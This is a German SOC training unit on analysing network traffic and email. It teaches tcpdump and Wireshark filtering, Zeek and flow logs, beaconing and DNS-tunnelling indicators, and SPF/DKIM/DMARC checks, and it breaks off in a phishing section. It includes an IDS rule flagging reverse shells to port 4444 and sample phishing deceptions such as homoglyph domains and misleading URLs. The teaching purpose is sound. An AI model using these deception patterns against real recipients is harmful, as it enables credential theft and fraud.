Netzwerkverkehr analysieren: E-Mails und Endgeräte

Lerne wie ein Analyst in einem Security Operations Center (SOC) zu beurteilen, ob Aktivitäten in einem Netzwerk oder auf einem Computer bösartig sind. Du liest Paketmitschnitte und Flow-Datensätze, verfolgst verdächtige E-Mails anhand ihrer Header und SPF-, DKIM- und DMARC-Ergebnisse, untersuchst Prozessbäume und Persistenz auf Endgeräten mit EDR und prüfst Dateien, Hashwerte, Domänen und IP-Adressen mithilfe von Reputationsdiensten, statischer Analyse und Sandboxes. Abschließend führst du die Belege in einer Zeitleiste zusammen, fällst ein Urteil, gibst den Vertrauensgrad an und dokumentierst beides, damit das Incident-Response-Team handeln kann.

MittelEinheit 3 von 7 in Kurs: SOC und Incident Response – Angriffe erkennen und abwehren

Was du lernst

  1. Schneide den richtigen Netzwerkverkehr mit, lies Pakete und Kommunikationsabläufe, fasse Aktivitäten mit Flow-Datensätzen und Verbindungsprotokollen zusammen und erkenne Netzwerkmuster, die auf Scans, Command-and-Control-Verkehr, Tunneling und Datendiebstahl hindeuten.
    • Netzwerkverkehr mitschneiden und filtern
      Wähle aus, wo und wie Pakete mitgeschnitten werden, schreibe Aufzeichnungs- und Anzeigefilter und verwalte Mitschnittdateien so, dass sie vollständig und vertrauenswürdig bleiben.
    • Pakete lesen und Kommunikationsabläufe rekonstruieren
      Lies die Schichten eines Pakets, verfolge TCP- und UDP-Kommunikationsabläufe, rekonstruiere übertragene Inhalte und beurteile verschlüsselten Verkehr anhand seiner Metadaten.
    • Flow-Daten und Verbindungsprotokolle analysieren
      Nutze Flow-Datensätze und Zeek-Verbindungsprotokolle, um zu sehen, wer wie lange und in welchem Umfang mit wem kommuniziert hat, und um ungewöhnliche Volumen und Ziele zu finden.
    • Netzwerkindikatoren erkennen und IDS-Alarmmeldungen lesen
      Erkenne Scans, nicht autorisierte Geräte, unerwartete Ports, Beaconing, DNS-Missbrauch und laterale Bewegung und verifiziere Alarmmeldungen zur Angriffserkennung, statt ihnen blind zu vertrauen.
  2. Lies E-Mail-Header und Authentifizierungsergebnisse, erkenne Phishing und Business Email Compromise, analysiere Links und Anhänge ohne dich zu gefährden und finde alle Empfänger, die von einer Angriffskampagne betroffen sind.
    • E-Mail-Header und Authentifizierungsergebnisse lesen
      Verfolge eine Nachricht anhand ihrer Header und interpretiere SPF-, DKIM- und DMARC-Ergebnisse einschließlich dessen, was sie beweisen und was nicht.
    • Phishing und Business Email Compromise erkennen
      Erkenne die bei Phishing eingesetzten Tricks mit Absendern, Links, Inhalten und Anhängen sowie den Zahlungsbetrug durch Business Email Compromise, bei dem überhaupt keine Malware enthalten ist.
    • Links und Anhänge sicher analysieren und das Ausmaß der Angriffskampagne ermitteln
      Gehe mit verdächtigen Nachrichten um, ohne dich zu gefährden, dekodiere und prüfe ihre Links und Dateien, extrahiere Indikatoren und finde alle Personen, die die Angriffskampagne erreicht hat.
  3. Nutze Werkzeuge für Endpoint Detection and Response und Endgeräteprotokolle, um Prozessbäume und Befehlszeilen zu lesen, die Methoden zu finden, mit denen Angreifer ihren Zugriff erhalten, und Datei-, Software- und Konfigurationsänderungen zu erkennen, die einen kompromittierten Host verraten.
    • EDR und Endgerätetelemetrie nutzen
      Erkläre, was EDR, XDR und MDM leisten, lerne die relevanten Endgeräteereignisse kennen und nutze bei einer Untersuchung EDR-Alarmmeldungen, Pivoting und Reaktionsmaßnahmen.
    • Prozesse und Befehlszeilen analysieren
      Beurteile Prozesse anhand von Name, Pfad, Elternprozess, Signaturgeber und Befehlszeile, erkenne Living-off-the-Land-Binaries und kodierte PowerShell-Befehle und dekodiere, was ein verdächtiger Befehl tatsächlich tut.
    • Persistenzmechanismen erkennen
      Finde die Autostart-Orte, die Angreifer unter Windows, Linux und macOS nutzen, lies die jeweiligen Spuren und gleiche sie systematisch mit einem als unbedenklich bekannten Zustand ab.
    • Datei-, Software- und Konfigurationsänderungen auf einem Host erkennen
      Erkenne Hostindikatoren neben Prozessen: verdächtige Dateien, nicht autorisierte Software, geschwächte Einstellungen, ungewöhnliche Ressourcennutzung und zum Diebstahl bereitgestellte Daten.
  4. Prüfe die Reputation von Dateien, Domänen und IP-Adressen, untersuche eine Datei sicher, ohne sie auszuführen, und beobachte mithilfe einer Sandbox ihr Verhalten. Lerne dabei die Grenzen jeder Methode kennen.
    • Die Reputation von Dateien, Hashwerten, Domänen und IP-Adressen prüfen
      Nutze Hashwerte und Reputationsdienste richtig, lies ihre Ergebnisse kritisch und schütze dabei vertrauliche Daten.
    • Eine grundlegende statische Analyse durchführen
      Untersuche eine verdächtige Datei, ohne sie auszuführen: Ermittle ihren tatsächlichen Typ, extrahiere Zeichenketten, lies die Grundstruktur eines Windows-Programms, erkenne Packen, dekodiere verschleierte Inhalte und gleiche sie mit YARA-Regeln ab.
    • Eine Sandbox-Analyse durchführen und ihre Ergebnisse interpretieren
      Führe ein Sample sicher aus, lies den Verhaltensbericht, erkenne Umgehungsversuche und leite aus den Ergebnissen Indikatoren ab, die du in deiner eigenen Umgebung prüfen kannst.
  5. Führe Netzwerk-, E-Mail- und Endgerätebelege in einer Zeitleiste zusammen, entscheide mit einem angegebenen Vertrauensgrad, ob die Aktivität bösartig ist, und dokumentiere und eskaliere die Ergebnisse, damit andere darauf reagieren können.
    • Belege korrelieren und zu einer Zeitleiste zusammenführen
      Vereinheitliche Zeitangaben, wechsle anhand gleicher Felder zwischen Quellen und erstelle eine Zeitleiste, die den Ablauf eines Angriffs erklärt und zeigt, wo noch Belege fehlen.
    • Ein abschließendes Urteil fällen und die Ergebnisse dokumentieren
      Klassifiziere eine Alarmmeldung oder ein Ereignis mit einem begründeten Vertrauensgrad, dokumentiere Ergebnisse und Indikatoren nachvollziehbar und eskaliere bestätigte Sicherheitsvorfälle unter Erhaltung der Beweismittel.

Netzwerkverkehr analysieren einfach erklärt

5 Kapitel

1

Netzwerkverkehr anhand von Paketmitschnitten und Flow-Daten analysieren

Pakete zeigen einzelne Austauschvorgänge; Flow-Datensätze machen Muster über einen längeren Zeitraum sichtbar. Du wählst einen Aufzeichnungspunkt, filterst Verkehr, rekonstruierst Kommunikationsabläufe und misst ungewöhnliche Verbindungen. Scans, wiederholte Kontaktaufnahmen und DNS-Muster werden zu nützlichen Hinweisen, wenn du sie mit Hostrollen und erwarteten Aktivitäten verknüpfst. Dieselbe Analyse ermöglicht dir auch zu prüfen, worauf eine Angriffserkennungsregel tatsächlich angeschlagen hat.

1.1 Netzwerkverkehr mitschneiden und filtern

Ein Paketmitschnitt speichert die Header und Nutzdaten, die einen Sensor erreichen, in einer .pcap- oder .pcapng-Datei. Er kann neben Adressen, Ports und Zeitangaben auch die Inhalte unverschlüsselter Kommunikation zeigen. Erfasse und speichere ihn gemäß der Überwachungsrichtlinie der Organisation: Ein Mitschnitt kann Passwörter und personenbezogene Daten enthalten.

Einen geeigneten Aufzeichnungspunkt wählen

Ein Netzwerk-TAP kopiert den Verkehr einer Verbindung passiv. Ein SPAN-Port veranlasst einen Switch, ausgewählte Ports oder VLANs zu spiegeln. SPAN kann Kopien verwerfen, wenn sein Ausgang überlastet ist; auch ein TAP, der beide Richtungen zusammenfasst, kann Pakete verlieren, wenn beide Richtungen zusammen die Kapazität des Überwachungsports übersteigen. Ein Mitschnitt auf einem Host zeigt dessen Verkehr. Ein Sensor am Internetübergang verpasst Verkehr, der innerhalb des Netzwerks bleibt. Außerhalb von NAT sieht er eine gemeinsam genutzte öffentliche Adresse. Bewahre daher NAT-Datensätze auf, um den internen Host zu identifizieren.

Breit speichern, gezielt untersuchen

Ein Aufzeichnungsfilter bestimmt, was gespeichert wird. Ein Anzeigefilter verändert die Ansicht bereits gespeicherter Pakete. Ihre Syntax unterscheidet sich:

ZweckFilter für den TCP-Port-443-Verkehr eines Hosts
Aufzeichnung, BPF-Syntaxhost 192.168.1.50 and tcp port 443
Wireshark-Anzeigeip.addr == 192.168.1.50 && tcp.port == 443

BPF port 443 schließt auch UDP und damit QUIC ein. Ein enger Aufzeichnungsfilter kann einen anderen Kanal des Angreifers dauerhaft verwerfen. Ein Anzeigefilter kann entfernt werden, sobald die Untersuchung eine andere Richtung nimmt.

Für einen gezielten Mitschnitt verwendest du:

sudo tcpdump -i eth0 -nn -s 0 -w case42.pcap host 192.168.1.50 and not port 22

-i wählt die Schnittstelle; -nn belässt Adressen und Ports als Zahlen und vermeidet Namensabfragen; -s 0 behält vollständige Pakete; -w schreibt rohe Pakete. Der Filter schließt Port 22 aus, etwa die SSH-Sitzung eines Analysten. Gespeicherten DNS-Verkehr liest du mit tcpdump -nn -r case42.pcap port 53.

In Wireshark zeigt dns den DNS-Verkehr und http.request zeigt HTTP-Anfragen. Verwende tcp.flags.syn == 1 && tcp.flags.ack == 0 für erste TCP-Verbindungsversuche, tls.handshake.type == 1 für TLS-Client-Hellos und ip.dst == 10.0.0.0/8 für Ziele in diesem Bereich. frame contains "password" findet diesen Text in den aufgezeichneten Bytes. Kombiniere Bedingungen mit &&, || und !.

Aufbewahrung planen und Beweismittel erhalten

Bei 40 % Auslastung überträgt eine Verbindung mit 100 Mbit/s 40 Mbit/s. Dividiert durch acht ergibt das 5 MB/s; über 3.600 Sekunden sind das 18.000 MB oder 18 GB. Ringpuffer überschreiben den ältesten Mitschnitt, während gezielte Mitschnitte den Speicherbedarf verringern. Exportiere relevante Beweismittel, bevor ein Puffer sie überschreibt.

Bei TLS bleiben Adressen, Größen, Zeitangaben und verfügbare Handshake-Metadaten sichtbar. Anwendungsinhalte bleiben verborgen, sofern sie nicht durch Sitzungsschlüssel oder an einem Inspektionspunkt zugänglich sind. Die Sichtbarkeit von DNS und Servernamen hängt ebenfalls von den verwendeten Protokollen ab. Berechne den SHA-256-Hashwert des ursprünglichen Mitschnitts, dokumentiere die Schnittstelle und den Aufzeichnungszeitraum und analysiere eine Kopie. Prüfe die Zeitsynchronisation und die Statistik verworfener Pakete; der tcpdump-Zähler „dropped by kernel“ zeigt Verkehr, den das Aufzeichnungssystem verpasst hat.

Wichtige Erkenntnisse

  • Der Aufzeichnungspunkt bestimmt, welcher Verkehr sichtbar ist und für welche Hostidentitäten NAT-Datensätze benötigt werden.
  • Aufzeichnungsfilter verwerfen ausgeschlossene Pakete; Anzeigefilter blenden gespeicherte Pakete nur aus.
  • BPF- und Wireshark-Anzeigefilter verwenden unterschiedliche Syntax.
  • Berücksichtige beide Verbindungsrichtungen, das Speichervolumen und Paketverluste.
  • Bewahre den ursprünglichen Mitschnitt, seinen SHA-256-Hashwert und genaue Aufzeichnungszeiten auf.

1.2 Pakete lesen und Kommunikationsabläufe rekonstruieren

Lies ein Paket von den äußeren Zustellinformationen bis zu seinen Anwendungsdaten. Bei Ethernet zeigt Wireshark zuerst MAC-Adressen, dann IP-Adressen und TTL, danach TCP- oder UDP-Ports und schließlich DNS, HTTP, TLS oder ein anderes Anwendungsprotokoll. Der Detailbereich öffnet diese Schichten; der Bytebereich zeigt ihre rohen Hexadezimalwerte.

Den Austausch verfolgen

TCP beginnt mit SYN, SYN-ACK und ACK. In 10.0.0.23:51544 → 203.0.113.80:443 SYN gehört der hohe Quellport zum Client. In der Antwort sind Adressen und Ports vertauscht. FIN fordert einen regulären Verbindungsabbau an; RST beendet die Verbindung abrupt. Ein Reset als Antwort auf ein SYN weist meist auf einen geschlossenen Port hin. Eine ausbleibende Antwort kann durch Filterung, Verlust oder fehlende Sichtbarkeit entstehen. Untersuche daher sowohl die Pakete als auch die Position des Aufzeichnungspunkts.

UDP hat keinen Transport-Handshake. DNS verwendet häufig UDP 53 und auch TCP 53, unter anderem für große Antworten und Zonentransfers. Lies den Eintragstyp der Abfrage: A fragt IPv4 ab, AAAA IPv6, MX Mailserver, TXT Text und CNAME einen Alias. NXDOMAIN bedeutet, dass der angefragte Name nicht existiert.

Folgt auf eine DNS-Antwort eine Verbindung zur zurückgegebenen IP-Adresse, deutet das auf eine Verbindung zwischen beiden hin. Bestätige den angefragten Namen anhand eines HTTP-Host-Headers, einer sichtbaren TLS-SNI, von Proxydatensätzen oder Endgerätedaten: Mehrere Domänen können sich diese Adresse teilen.

Anwendungsaktivität rekonstruieren

Wiresharks Funktion Follow TCP Stream setzt einen Kommunikationsablauf in der richtigen Reihenfolge zusammen und unterscheidet die beiden Richtungen farblich. Statistics → Conversations ordnet kommunizierende Paare nach Paketen und Bytes; Protocol Hierarchy zeigt die Zusammensetzung der Protokolle.

Angenommen, ein Datenstrom enthält:

GET /update.php?id=WS-0423 HTTP/1.1
Host: cdn-update.example.net
User-Agent: Mozilla/4.0

Die Antwort lautet 200 OK, gibt application/octet-stream an und beginnt mit MZ. Diese Bytes deuten auf eine ausführbare Windows-Datei hin. Der .php-Pfad kann beliebigen Inhalt zurückgeben; er muss nicht der Name der heruntergeladenen Datei sein. Prüfe Typ, Hashwert und Signatur des exportierten Objekts und ordne die Anfrage anschließend dem zugehörigen Prozess und der Zielhistorie zu.

GET-Anfragen rufen Inhalte ab; POST-Anfragen senden einen Nachrichtenrumpf. Betrachte Host, Pfad, User-Agent, Antwortstatus und Rumpfgrößen zusammen. Große, wiederholte POST-Nachrichtenrümpfe an ein neues Ziel sollten untersucht werden. Status 301 oder 302 leitet den Client weiter, während 404 eine fehlende Ressource meldet.

File → Export Objects → HTTP oder die entsprechende SMB-Funktion kann übertragene Objekte wiederherstellen, wenn der erforderliche unverschlüsselte Inhalt vorhanden ist. Bewahre wiederhergestellte Samples in der isolierten Analyseumgebung auf und dokumentiere ihre Hashwerte.

Verschlüsselten Verkehr korrekt lesen

Ein Client Hello legt normalerweise die SNI, also den angefragten Servernamen, offen, sofern Encrypted Client Hello ihn nicht schützt. TLS 1.2 legt das Serverzertifikat im Handshake offen; TLS 1.3 verschlüsselt es. JA3- und JA4-Fingerabdrücke fassen Merkmale des Client Hello zusammen und können helfen, ähnliche Clients zu gruppieren. Ein neues Zertifikat, eine fehlende SNI oder ein gemeinsam genutzter Fingerabdruck ist ein Hinweis, der anhand des Prozess- und Zielkontexts geprüft werden sollte.

Port 443 deutet auf HTTPS hin, kann das Protokoll aber nicht belegen. Untersuche den tatsächlichen Austausch oder verwende Decode As, wenn eine Protokollanalyse Hilfe benötigt, um ein Protokoll auf einem ungewöhnlichen Port zu erkennen.

Wichtige Erkenntnisse

  • Ermittle den Initiator anhand des Handshakes und beachte die umgekehrte Richtung der Antwort.
  • Verknüpfe DNS-Antworten mit Anwendungsnamen, bevor du eine Verbindung einer Domäne zuordnest.
  • Rekonstruiere Datenströme und exportiere Objekte, um übertragene Inhalte zu untersuchen.
  • Die Sichtbarkeit bei TLS hängt von der TLS-Version und Encrypted Client Hello ab.
  • Bestätige Protokolle anhand des Austauschs und nicht allein anhand der Portnummer.

1.3 Flow-Daten und Verbindungsprotokolle analysieren

Flow-Datensätze fassen Verkehr zusammen, ohne dessen Nutzdaten aufzubewahren. So lassen sich mehrere Wochen an Aktivitäten praktikabel durchsuchen, bevor ein kurzer Paketmitschnitt abgerufen wird. Das übliche 5-Tupel besteht aus Quell-IP, Ziel-IP, Quellport, Zielport und Transportprotokoll. Datensätze enthalten außerdem Zeiten, Anzahlen und häufig TCP-Flags.

Verstehen, wie die Quelle zählt

NetFlow v5 hat ein festes IPv4-Format; NetFlow v9 verwendet Vorlagen und unterstützt IPv6. IPFIX ist der IETF-Standard, der aus diesem Vorlagenansatz hervorging. Cloud-Flow-Protokolle liefern ähnliche Netzwerkzusammenfassungen. sFlow erfasst Pakete stichprobenartig und ergänzt Schnittstellenzähler, sodass seine Beobachtungen sorgfältig hochgerechnet werden müssen.

Wird 1 von 1.000 Paketen erfasst, stehen 1.200 erfasste Pakete für ungefähr 1,2 Millionen Pakete. Die Schätzung beschreibt das Volumen; eine kurze Verbindung hinterlässt möglicherweise kein erfasstes Paket. Eine leere Stichprobe ist ein schwacher Beleg für die Entscheidung, ob eine bestimmte Verbindung stattgefunden hat.

Exporter erfassen häufig jede Richtung getrennt und teilen lange Verbindungen bei aktiven Zeitüberschreitungen auf. Ordne Datensätze der Gegenrichtung zu, indem du beide Adressen und Ports vertauschst und das Protokoll beibehältst. Führe anschließend Teile derselben Verbindung zusammen. Summiere Bytes getrennt nach Richtung und miss die verstrichene Zeit vom frühesten Beginn bis zum spätesten Ende. Das Addieren überlappender Datensatzdauern vergrößert die Zeit künstlich.

Zeek-Verbindungsdatensätze lesen

Zeek erzeugt strukturierte Verbindungs- und Protokollaufzeichnungen. In conn.log ist ts die Startzeit und uid verknüpft die Verbindung mit Datensätzen etwa in http.log oder ssl.log. Die Felder id.orig_h und id.orig_p bezeichnen den Initiator; id.resp_h und id.resp_p bezeichnen die Gegenstelle. Der Initiator hat den Kommunikationsablauf begonnen und kann ein externer Host sein. proto, service, duration, orig_bytes und resp_bytes beschreiben Transport, erkannte Anwendung und Aktivität.

TCP-ZustandBedeutung
S0Ein Versuch wurde ohne Antwort beobachtet.
REJDas Ziel hat den Versuch abgelehnt.
SFEine Verbindung wurde normal aufgebaut und geschlossen.
OTHVerkehr wurde ohne SYN beobachtet, häufig weil die Beobachtung mitten im Datenstrom begann.

Bei unbeantworteten Versuchen kann Zeek null Nutzdatenbytes melden, obwohl tatsächlich Pakete vorliegen. Flow-Exporter zählen üblicherweise auch IP-Header, sodass ihre Bytezahlen abweichen. Betrachte Paketzahlen und Zustand zusammen mit den dokumentierten Bytefeldern.

Einen ungewöhnlichen Upload messen

Von 02:10 bis 02:50 Uhr UTC sendet 10.0.0.23 2,4 GB an 198.51.100.7:443 und empfängt 12 MB. Rechne 2,4 GB in 2.400 MB um: Das ausgehende Volumen ist 200-mal so groß wie das eingehende. Vierzig Minuten sind 2.400 Sekunden, daher beträgt die durchschnittliche ausgehende Rate 1 MB/s oder 8 Mbit/s.

Die Rate ist nicht das Urteil. Vergleiche das übliche Volumen, die Zielhistorie und die Rolle des Hosts. Eine geplante Datensicherung kann einen nächtlichen Upload erklären; ein neues Ziel und ein nicht genehmigter sendender Prozess stützen die Hypothese eines Datendiebstahls. Wechsle zum EDR für den verantwortlichen Prozess, zu DNS- oder Proxydaten für den Namen und, falls verfügbar, zu Paketen für den Inhalt. Eine Baseline sollte vergleichbare Rollen gegenüberstellen: Ein Sicherungsserver und eine Arbeitsstation am Empfang haben unterschiedlichen normalen Verkehr.

Wichtige Erkenntnisse

  • Flow-Daten beschreiben Adressen, Zeitangaben und Volumen ohne Anwendungsnutzdaten.
  • Stichprobenbasierte Anzahlen sind Schätzungen und können kurze Ereignisse übersehen.
  • Ordne die Richtungen einander zu, führe durch Zeitüberschreitungen entstandene Teile zusammen und nutze den gesamten verstrichenen Zeitraum.
  • Nutze die Zeek-uid, um Protokolle zu verknüpfen, und conn_state, um Versuche zu interpretieren.
  • Interpretiere Bytezähler entsprechend der Quelle, die sie erzeugt hat.
  • Vergleiche ungewöhnlichen Verkehr mit der Hostrolle, der Baseline und dem verantwortlichen Prozess.

1.4 Netzwerkindikatoren erkennen und IDS-Alarmmeldungen lesen

Netzwerkmuster zeigen dir, wo du untersuchen solltest. Ein genehmigter Scanner und ein Eindringling können sehr ähnliche Pakete erzeugen.

Die Form des Verkehrs erkennen

Ein vertikaler Portscan prüft viele Ports auf einem Host. Ein horizontaler Portscan prüft denselben Port auf vielen Hosts. Sendet 10.0.0.99 innerhalb von 12 Sekunden SYNs an 1.000 Ports auf 10.0.0.5, beträgt die Rate etwa 83 Versuche pro Sekunde. Viele S0- oder REJ-Datensätze und einige erfolgreiche Verbindungen passen zu einem Scan. Prüfe das Scannerinventar und den genehmigten Zeitplan.

Ein nicht autorisiertes Gerät ist ohne Genehmigung verbunden. Vergleiche neue DHCP-Leases und MAC-Adressen mit dem Asset-Inventar; ein unbekanntes Herstellerpräfix, ein nicht autorisierter Zugangspunkt oder ein zweiter DHCP-Server erfordern eine Untersuchung. NAC hilft durchzusetzen, welche Geräte sich verbinden dürfen.

Beurteile Dienste anhand der Hostrolle. SSH verwendet üblicherweise 22, SMTP 25, DNS 53, HTTP 80, HTTPS 443, SMB 445, RDP 3389 und WinRM 5985/5986. Direkt ausgehendes SMTP von einer Arbeitsstation kann auf einen Spam-Bot hindeuten. SMB oder RDP von einer Arbeitsstation zu vielen anderen kann auf laterale Bewegung hindeuten. Verifiziere, welcher Dienst tatsächlich vorhanden ist.

Zeitsteuerung von Benutzeraktivität unterscheiden

Verbindungen um 10:00:00, 10:05:02, 10:09:59, 10:15:01 und 10:20:00 Uhr haben Abstände von 302, 297, 302 und 299 Sekunden. Der Mittelwert beträgt 300 Sekunden und die Abweichung etwa zwei Sekunden. Ähnlich kleine Datenübertragungen in diesen Abständen deuten auf eine Zeitsteuerung hin. Beaconing ist wiederholter C2-Kontakt; auch Update-Agenten nutzen Zeitsteuerungen. Ermittle den auslösenden Prozess und den Zweck des Ziels. Malware kann Jitter hinzufügen, etwa ±20 %, sodass auch ein weniger regelmäßiges Muster Aufmerksamkeit verdient.

DNS-Missbrauch untersuchen

DNS-Tunneling platziert Daten in Abfragenamen, häufig mit langen kodierten Labels und vielen unterschiedlichen Subdomänen. Ein Label kann höchstens 63 Zeichen enthalten; für einen gewöhnlichen vollständigen Namen in Textform gilt eine Grenze von 253 Zeichen. Wiederholte TXT- oder NULL-Abfragen und ein hohes Volumen verstärken den Verdacht. Viele zufällig wirkende Namen, die NXDOMAIN zurückgeben, deuten auf einen DGA hin, der Namen ausprobiert, bis einer aufgelöst wird. Externes DNS über HTTPS kann Aktivitäten auch aus den normalen DNS-Protokollen der Organisation heraushalten.

Eine Regel lesen und verifizieren
alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"Possible reverse shell to port 4444"; flow:to_server,established; sid:1000001; rev:1;)

Der Header legt eine Alarmierung bei TCP-Verkehr vom eigenen Netzwerk zum externen Port 4444 fest. Die Bedingung flow verlangt aufgebauten Verkehr in Richtung Server; sid identifiziert die Regel und rev ihre Revision. Die Meldung nennt eine mögliche Reverse-Shell, aber diese Regel prüft ein Verbindungsmuster und keine Shell-Befehle.

Snort und Suricata gleichen Verkehr mit Regeln ab; Zeek liefert hauptsächlich Protokolle und Verhaltensskripte. Verifiziere eine IDS-Alarmmeldung anhand ihrer Pakete, der Plattform des Ziels und der Endgeräteänderungen nach dem Austausch. Der Erkennungsmodus beobachtet Kopien; ein direkt im Verkehrsweg liegendes IPS kann Verkehr blockieren, sodass ein fehlerhafter Treffer den Betrieb stören kann.

Wichtige Erkenntnisse

  • Prüfe die Autorisierung, bevor du ein Scanmuster als Sicherheitsvorfall behandelst.
  • Nutze Geräteinventar und Hostrollen, um unerwartete Netzwerkaktivität zu erkennen.
  • Regelmäßige Zeitabstände deuten auf Automatisierung hin; der Prozess- und Zielkontext hilft, C2 zu erkennen.
  • Untersuche lange DNS-Labels, unterschiedliche Namen, Abfragevolumen und NXDOMAIN-Muster gemeinsam.
  • Lies die Regelbedingungen, bevor du die Alarmmeldung als Befund übernimmst.
  • Bestätige eine vermutete Ausnutzung anhand von Belegen zum Ziel und Endgerät.
2

Verdächtige E-Mails untersuchen

Eine E-Mail-Untersuchung beginnt mit der Originalnachricht und endet bei den betroffenen Personen und Geräten. Du verfolgst vertrauenswürdige Header, unterscheidest die Absenderidentitäten hinter SPF, DKIM und DMARC und prüfst, zu welcher Handlung eine Nachricht auffordert. Die Analyse von Links und Anhängen liefert anschließend die Suchfelder, um das weitere Ausmaß der Angriffskampagne zu ermitteln, einschließlich Zahlungsbetrugs ohne bösartige Datei.

2.1 E-Mail-Header und Authentifizierungsergebnisse lesen

Die Adresse, die ein Leser sieht, und die bei der E-Mail-Zustellung geprüfte Identität stehen in unterschiedlichen Feldern. Beginne mit der ursprünglichen .eml- oder .msg-Datei, damit die Header erhalten bleiben, die eine weitergeleitete Kopie ersetzen kann. Ein Header-Analysewerkzeug kann die Belege ordnen, aber du musst weiterhin wissen, welcher Server das jeweilige Ergebnis geschrieben hat.

Identitäten und vertrauenswürdige Stationen finden

Der SMTP-Envelope-Absender wird für Unzustellbarkeitsmeldungen verwendet und erscheint in Return-Path. Der Header From ist der sichtbare Absender. Reply-To steuert Antworten und Message-ID hilft, zugehörige E-Mail-Datensätze zu finden. Ein Versanddienst kann rechtmäßig eine Envelope-Domäne verwenden, die sich von der sichtbaren Domäne seines Kunden unterscheidet.

Jeder weiterleitende Server stellt eine Received-Zeile voran. Lies den Übertragungsweg von unten nach oben, bestimme die Vertrauenswürdigkeit aber anhand der Einträge deines eigenen Gateways: Ein Absender kann Zeilen unterhalb des ersten vertrauenswürdigen Eintrags fälschen. Auch ein optionales Feld X-Mailer wird vom Absender kontrolliert. Verwende die sendende IP-Adresse, die dein vertrauenswürdiger Empfangsserver erfasst hat.

Die drei Prüfungen anwenden
PrüfungIdentität und Ergebnis
SPFPrüft die IP-Adresse des verbindenden Servers anhand der autorisierten Absender der Envelope-Domäne.
DKIMPrüft die Signatur einer Domäne über ausgewählte Header und den Hashwert des Nachrichtenrumpfs.
DMARCVerlangt eine erfolgreiche SPF- oder DKIM-Identität, die mit der sichtbaren From-Domäne übereinstimmt.

Ein SPF-TXT-Eintrag wie v=spf1 ip4:192.0.2.0/24 include:_spf.example.net -all autorisiert diesen Bereich und die einbezogenen Absender. -all bewirkt für andere Absender ein Fehlschlagen; ~all einen Softfail. Ergebnisse können auch neutral, none, temperror oder permerror sein. Eine Weiterleitung führt häufig zum Fehlschlagen von SPF, weil die IP-Adresse des weiterleitenden Servers von der ursprünglichen Envelope-Domäne nicht autorisiert ist.

Bei DKIM nennt d= die signierende Domäne und s= wählt ihren Schlüssel unter <selector>._domainkey.<domain> aus. Eine erfolgreiche Signatur bedeutet, dass das signierte Material unverändert geblieben ist. Eine Weiterleitung kann sie erhalten, während das Umschreiben der Nachricht sie ungültig machen kann.

Der gelockerte DMARC-Abgleich akzeptiert dieselbe Organisationsdomäne; der strikte Abgleich verlangt eine exakte Übereinstimmung der Domänen. Die TXT-Richtlinie unter _dmarc.<domain> kann none, quarantine oder reject anfordern; der Empfänger entscheidet über die Behandlung. RFC 9989 ersetzte den älteren DMARC-Standard im Mai 2026, entfernte pct und führte den Testmodus t=y ein. Prüfe eine Richtlinie mit nslookup -type=txt _dmarc.example.com.

Ein Authentifizierungsergebnis durchgehen

Dein Gateway meldet SPF-Erfolg für mailer.example-billing.net, DKIM-Erfolg für example-billing.net und From examp1e.com. Keine der erfolgreich geprüften Domänen stimmt mit der sichtbaren Domäne überein, daher schlägt DMARC fehl. SPF und DKIM haben unterschiedliche Identitäten authentifiziert; die sichtbare Adresse haben sie nicht authentifiziert.

Lies nur die Authentication-Results, die ein vertrauenswürdiges Gateway hinzugefügt hat. Eine korrekt konfigurierte, ähnlich aussehende Domäne eines Angreifers kann alle drei Prüfungen bestehen, ebenso ein kompromittiertes legitimes Postfach. Kombiniere die Authentifizierung mit Absendervorgeschichte, Nachrichteninhalt und Linkanalyse. Prüfe umgekehrt, ob Weiterleitung oder Änderungen durch eine Mailingliste ein Fehlschlagen erklären, bevor du es als Absenderfälschung bezeichnest.

Wichtige Erkenntnisse

  • Unterscheide Envelope-Absender, sichtbare From-Identität und Reply-To-Identität.
  • Vertraue Header-Zeilen und Authentifizierungsergebnissen, die deine eigenen Empfangssysteme geschrieben haben.
  • SPF prüft eine sendende IP-Adresse, DKIM signierte Inhalte und DMARC den Domänenabgleich.
  • DMARC benötigt eine erfolgreiche Methode mit übereinstimmender Domäne, nicht zwei erfolgreiche Prüfungen für unabhängige Domänen.
  • Die Authentifizierung kann für Domänen von Angreifern oder kompromittierte Postfächer erfolgreich sein.

2.2 Phishing und Business Email Compromise erkennen

Phishing versucht, eine Nachricht in eine schädliche Handlung münden zu lassen: Zugangsdaten preiszugeben, Geld zu senden oder eine Datei auszuführen. Der stärkste Hinweis ist oft eine Abweichung vom normalen Ablauf des Empfängers. Flüssige Texte und einen vertrauten Namen kann ein Angreifer leicht liefern.

Absender und Ziel genau lesen

Bei der Fälschung des Anzeigenamens steht ein vertrauenswürdiger Name über einer nicht zugehörigen Adresse, etwa "IT Service Desk" <it.desk.2291@freemail.example>. Typosquatting verändert die Schreibweise einer Domäne; ähnliche Domänen ergänzen vertrauenerweckende Wörter. Homoglyphen ersetzen Zeichen durch ähnlich aussehende Zeichen aus anderen Alphabeten. Ein kyrillischer Anfangsbuchstabe macht аpple.com zu einer anderen Domäne; ihre Punycode-Form ist xn--pple-43d.com.

Die sichtbare Beschriftung eines Links kann vom tatsächlichen Ziel abweichen. Kürzungsdienste und offene Weiterleitungen verbergen nachfolgende Ziele. In https://www.example.com@198.51.100.7/login ist der Host 198.51.100.7; der Teil vor @ ist eine Benutzerangabe. In https://example.com.login-verify.net/ ist login-verify.net die registrierte Domäne. Wer die vertrauenerweckenden Wörter ganz links liest, kann falsch einschätzen, wer das Ziel kontrolliert.

Die geforderte Handlung erkennen

Dringlichkeit, vorgetäuschte Autorität einer Führungskraft, Drohungen mit Kontoschließung, Gutscheinkarten und Änderungen der Bankverbindung drängen den Empfänger dazu, etablierte Prüfungen zu umgehen. Spear-Phishing nutzt Recherchen über ein bestimmtes Ziel; Whaling richtet sich an Führungskräfte. Verwandte Zustellungsformen sind Smishing per SMS, Vishing per Sprachanruf und Quishing über QR-Codes. Ein QR-Code kann einen Link auf ein Smartphone verlagern, wo er die E-Mail-Linkfilterung umgeht.

